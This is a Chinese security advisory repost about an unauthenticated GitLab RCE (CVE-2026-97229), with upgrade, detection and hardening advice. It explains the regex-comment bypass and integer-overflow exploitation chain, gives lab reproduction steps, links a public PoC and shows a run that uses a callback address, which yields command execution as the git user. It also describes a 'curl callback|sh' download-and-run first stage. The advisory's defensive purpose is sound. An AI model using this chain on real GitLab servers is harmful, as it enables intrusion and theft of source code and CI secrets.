GitLab未授权RCE(CVE-2026-97229)紧急预警,自建实例请立即升级19.4.2/19.3.5/19.2.8POC"

admin 2026-10-16 12:45:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

GitLab 未授权 RCE(CVE-2026-97229)紧急预警,自建实例请立即升级 19.4.2 / 19.3.5 / 19.2.8 POC

酷酷信安

2026年10月15日 14:12
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

为方便阅读显示,建议大家把酷酷信安“设为星标”

一、漏洞概述

先讲结论:这是 GitLab 官方定级的最高危漏洞,管理员今天就应安排升级。

CVE-2026-97229 是 GitLab CE/EE 中 CI/CD 正则表达式编译器的整数溢出漏洞(CWE-190),CVSS 3.1 评分 10.0(满分)。GitLab 官方描述其\"可允许未认证用户通过 CI/CD 配置中精心构造的正则表达式,在 GitLab 服务器上执行任意代码\"。

值得关注的原因有三:

  1. 未授权 + RCE + 满分:官方 CVSS 向量中 PR:N(无需权限)、AC:L(低复杂度)、S:C(影响范围超出组件本身)。
  2. 公开 PoC 已出现:Rapid7 研究人员发布了针对官方 19.4.1 镜像的可运行 PoC,自称在开启 ASLR 的环境下 10 次试验全部成功。
  3. 目标价值极高:GitLab 通常同时承载源代码、CI/CD 流水线、流水线密钥与制品库,一旦失陷,影响将沿软件供应链扩散。

需要优先排查的资产:所有自建的 GitLab CE/EE 19.2、19.3、19.4 版本实例,尤其是公网可达、开放自助注册、存在匿名可访问公共项目的实例。GitLab.com 与 GitLab Dedicated 已由厂商完成修复,无需操作。

二、漏洞基本信息

项目 内容
漏洞名称 GitLab CE/EE CI/CD 正则表达式编译器整数溢出漏洞
CVE 编号 CVE-2026-97229
漏洞类型 整数溢出(CWE-190)导致内存破坏与远程代码执行
严重等级 Critical
CVSS 评分 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
受影响产品 GitLab CE / EE(自建实例)
受影响版本 19.2 before 19.2.8、19.3 before 19.3.5、19.4 before 19.4.2
修复版本 19.2.8 / 19.3.5 / 19.4.2(2026-10-12 发布)
是否需要认证 官方定级无需认证(PR:N);PoC 实操链的准备环节需普通账号(见第四节说明)
是否存在公开 PoC 是(Rapid7 人员发布,针对 19.4.1 amd64 镜像)
漏洞报告者 joaxcar(经 GitLab HackerOne 计划)

三、漏洞原理

正常功能如何工作:GitLab CI/CD 配置(.gitlab-ci.yml)支持用正则表达式做条件判断,例如 include:rules:exists 可用正则校验仓库中路径是否存在;GitLab 还提供 CI lint API(/api/v4/projects/:id/ci/lint)供校验配置文件。这些正则最终由 Ruby 的 Onigmo 正则引擎编译执行。作为防护,GitLab 对正则的大小(约 1MB)和重复次数({n})设有上限检查。

漏洞出在哪里:官方定性为\"正则表达式校验不足\"(insufficient regular expression validation)。根据 PoC 作者公开的技术分析,攻击者可组合两个手法绕过防线:

  • 绕过重复次数检查:利用 Onigmo 的注释语法,{5(?#)7805} 中的 (?#) 注释在解析时被剥离,实际变成 {57805},但 GitLab 的重复次数扫描器看到的是两个无害的小数字;
  • 绕过大小检查:构造含 UTF-8 字符的仓库路径,使正则在通过约 1MB 的大小检查之后被强制重新编译,绕开前置校验。

溢出如何发生:当编译 37151 × 57805 这类组合时,计算结果(2,147,513,555)超过 32 位有符号整数上限(2,147,483,647,即 INT\_MAX),发生 CWE-190 整数回绕,分支跳转偏移量被错误地写入位图字节区,进而重定向 Onigmo 虚拟机的执行栈。PoC 作者称其复用解释器自身指针以绕过 ASLR,最终抵达 libruby 中的 system() 函数,以 GitLab 的 git 用户身份执行操作系统命令。

一句话总结:输入校验缺陷(可注入超大重复次数)+ 整数溢出(编译期内存破坏)= 在正则编译阶段劫持 Ruby 进程执行任意命令。

四、漏洞如何被利用

以下利用链来自公开 PoC 的文档:

  1. 攻击者需要什么权限:触发阶段无需认证;准备阶段需要一个能向公共项目推送代码的普通账号。在开放自助注册、公共项目匿名可读的实例上,整体门槛等同未授权——这正是官方按 PR:N 定级的原因。
  2. 目标需要开放什么接口:GitLab Web/API 可达即可,触发点是 CI lint 接口 GET /api/v4/projects/:id/ci/lint。
  3. 需要提交什么:向公共项目推送一份含特制正则(大重复次数构造)与 UTF-8 路径引用的 .gitlab-ci.yml。
  4. 触发点:lint 接口读取攻击者分支(content_ref)下的 CI 配置,编译其中的恶意正则——溢出在编译期触发,不需要流水线真正运行。
  5. 执行身份:GitLab 服务进程(Puma worker)对应的 git 用户;请求返回 HTTP 502 属预期(命令执行后 worker 崩溃)。
  6. 是否需要回连:PoC 需要一个回连地址,第一阶段命令仅 28 字节(curl -s 回连地址|sh 形式),用于下载并执行完整命令;无需任何用户交互。
  7. 环境前提:编译产物 pcode 超过 2GiB,作者测试实例约需 9GiB 内存;单次请求约 12 秒。偏移量仅适配官方 19.4.1 CE amd64 镜像,其他构建需重新适配——这会在一定程度上拖慢大规模武器化,但不应成为延迟升级的理由。
  8. 成功后可做什么:以 git 用户读取全部仓库、CI/CD 变量与流水线密钥、实例配置;以下属于分析推断——可进一步篡改代码与制品、向 Runner 与云账号凭据横向移动。
攻击前提(普通账号 + 公共项目;开放注册实例等同未授权)
→ 推送含特制正则与 UTF-8 路径的 .gitlab-ci.yml
→ 匿名调用 CI lint API(/api/v4/projects/:id/ci/lint)
→ Onigmo 编译恶意正则,(?#) 注释绕过重复检查,整数溢出破坏内存
→ 劫持 Ruby 进程执行 system(),以 git 用户运行命令
→ 读取仓库与 CI 密钥,向 Runner / 云环境横向扩散

五、复现环境搭建(仅限授权测试)

【前置声明】本节仅面向本人搭建的隔离实验环境或经书面授权的企业内部测试,用于验证漏洞影响与补丁有效性。对任何生产系统或第三方系统进行未授权测试均违反《网络安全法》等相关法律法规。请勿将验证过程用于任何破坏性目的。

环境需求:

  • 攻击机:可与宿主机同机,需 Python 3.9+ 与 Git(该 PoC 无第三方依赖);
  • 宿主机:建议 ≥16GB 内存(实测靶标约需 9GiB,需留足余量),已安装 Docker,有点吃内存
  • 网络:Host-Only 或完全断网的实验网段即可——PoC 的回连地址指向攻击机在实验网段内的 IP,无需公网;
  • 开始前为虚拟机/宿主机打快照,便于随时回滚。

搭建步骤:

  1. 拉取受影响镜像:docker pull gitlab/gitlab-ce:19.4.1-ce.0,并核对镜像 digest 与 PoC 仓库 README 给出的 SHA256 一致——其利用偏移与该镜像的 Ruby 内存布局绑定,换用其他构建需自行调整(PoC 作者声明)。
  2. 启动靶标容器(示例命令):

docker run -d --name gitlab-vuln -p 8929:8929 gitlab/gitlab-ce:19.4.1-ce.0

首次启动需数分钟(它会创建一会儿,可用docker logs -f gitlab-vuln来看),待 /help 页面可访问后完成 root 初始化。
3. 准备攻击前提:创建普通用户并登录,新建一个 Public 项目(确认匿名可访问);按公开 PoC 仓库说明向该项目推送构造好的 .gitlab-ci.yml。
4. 部署对照组:以相同方式启动 gitlab/gitlab-ce:19.4.2-ce.0(换用其他端口),用于验证补丁有效性。
5. 运行验证:攻击机 git clone 公开 PoC 仓库,按其 README 启动回调监听并执行 poc.py。建议仅以 id、hostname 等无害命令作为验证载荷。
6. 预期结果(PoC 作者的测试结论):19.4.1 靶标约 12 秒后回调返回命令输出,HTTP 502 属预期(worker 在 system() 返回后崩溃);19.4.2 对照组无回调、lint 校验返回 false。
7. 收尾:停止并删除容器,或回滚虚拟机快照;确认映射到宿主机的端口已释放。

POC:

https://github.com/jburgess-r7/CVE-2026-97229-PoC

$ python3 poc.py https://g.example 123 \\
    --git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \\
    --callback-url cb.ex:8000 \\
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

五、影响面排查与检测建议

版本自查:Web 界面 /help 页面、gitlab-rake gitlab:env:info 命令、容器部署则比对镜像 tag(如 gitlab/gitlab-ce:19.4.1-ce.0 即为受影响版本)与 digest。凡低于 19.2.8 / 19.3.5 / 19.4.2 者均在受影响范围。

暴露面评估:公网可达 > 内网可达;开放自助注册 > 关闭注册;存在匿名可读公共项目 > 全私有。三者叠加的实例按最高优先级处理。

检测方向(以下为基于公开利用原理的分析建议,非官方 IOC,需结合基线判断):

  • 访问日志(如 nginx 的 gitlab_access.log)中针对 /api/v4/projects/:id/ci/lint 的匿名、高频或来自异常源的请求;
  • Puma worker 502 错误激增、OOM 被杀或异常崩溃记录;
  • 实例内存的异常飙升(单次 lint 请求可能产生超过 2GiB 的编译产物);
  • 审计近期变更的 .gitlab-ci.yml,关注异常大的正则重复次数(数万量级)及 (?#) 注释构造。

六、修复与缓解

官方唯一方案是升级,GitLab 明确未提供变通措施:

  • 升级至 19.4.2 / 19.3.5 / 19.2.8 或更高版本;本次补丁含数据库迁移,单节点实例升级期间会停机,多节点实例可走零停机流程;19.3.5 还包含升级后执行的 post-deploy 迁移,请预留窗口。
  • GitLab.com 与 GitLab Dedicated 用户无需操作。

升级前的临时加固:限制匿名用户对公共项目的访问、关闭非必要的自助注册、审查近期 CI/CD 配置中的可疑正则;若怀疑已失陷,轮换全部 CI/CD 变量与流水线密钥后再做取证。

七、总结

CVE-2026-97229 是少见的\"满分 + 未授权 + 公开 PoC\"组合:根因是 CI/CD 正则编译的整数溢出(CWE-190),影响 GitLab CE/EE 19.2–19.4,官方唯一修复手段是升级到 19.4.2 / 19.3.5 / 19.2.8。目前暂无在野利用证据,但 PoC 已公开、利用门槛将持续降低。请立即盘点自建 GitLab 资产并安排升级。


参考来源:

  • GitLab 官方补丁发布说明(19.4.2 / 19.3.5 / 19.2.8)
  • NVD:CVE-2026-97229
  • Orca Security 研究文章
  • 公开 PoC 仓库(Rapid7)

*往期推荐:*

钓鱼手法|实时投递Google AitM 钓鱼案例分析与学习

威胁情报 | Tensorlake npm 包遭 Shai-Hulud 蠕虫投毒

CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行 POC

持续分享技术干货,喜欢这篇文章,记得三连哦!

工信部通报17款App及SDK!弹窗、权限、信息收集类违规集中曝光" 网络安全文章

工信部通报17款App及SDK!弹窗、权限、信息收集类违规集中曝光"

工信部通报17款App及SDK存在侵害用户权益问题,违规集中在弹窗交互异常、违规收集个人信息、过度索取权限、信息公示不到位及强制推送定向功能等方面。通报要求企业整改,并给出弹窗优化、信息采集梳理、权限管控、信息公示完善、定向推送优化及常态化自查等合规建议。梆梆安全提供个人信息保护合规审计服务,助力企业构建合规防线。
AI时代,内生安全基因|第九届“强网”拟态防御国际精英挑战赛邀你来战" 网络安全文章

AI时代,内生安全基因|第九届“强网”拟态防御国际精英挑战赛邀你来战"

第九届强网拟态防御国际精英挑战赛启动报名,面向全球战队,初赛采用CTF形式选拔,决赛围绕云网融合、Web、车联网、通信、低空经济网络安全及内生安全人工智能六大赛道开展真实场景攻防。比赛强调AI与内生安全结合,设智机对抗、共模攻击检验等亮点,建议安全团队关注官网报名参赛。
山石方案|某银行数据中心ASIC防火墙替换案例" 网络安全文章

山石方案|某银行数据中心ASIC防火墙替换案例"

本文介绍山石网科为某银行数据中心提供ASIC防火墙替换方案,旨在推进信创战略下的国产化替代。方案采用自研ASIC芯片,转发时延低于5μs,小包吞吐性能突出,可无缝替代现有境外设备。方案价值包括性能全面超越、适配自动化运维体系及策略可视化运维,满足金融行业核心业务承载标准。
评论:0   参与:  0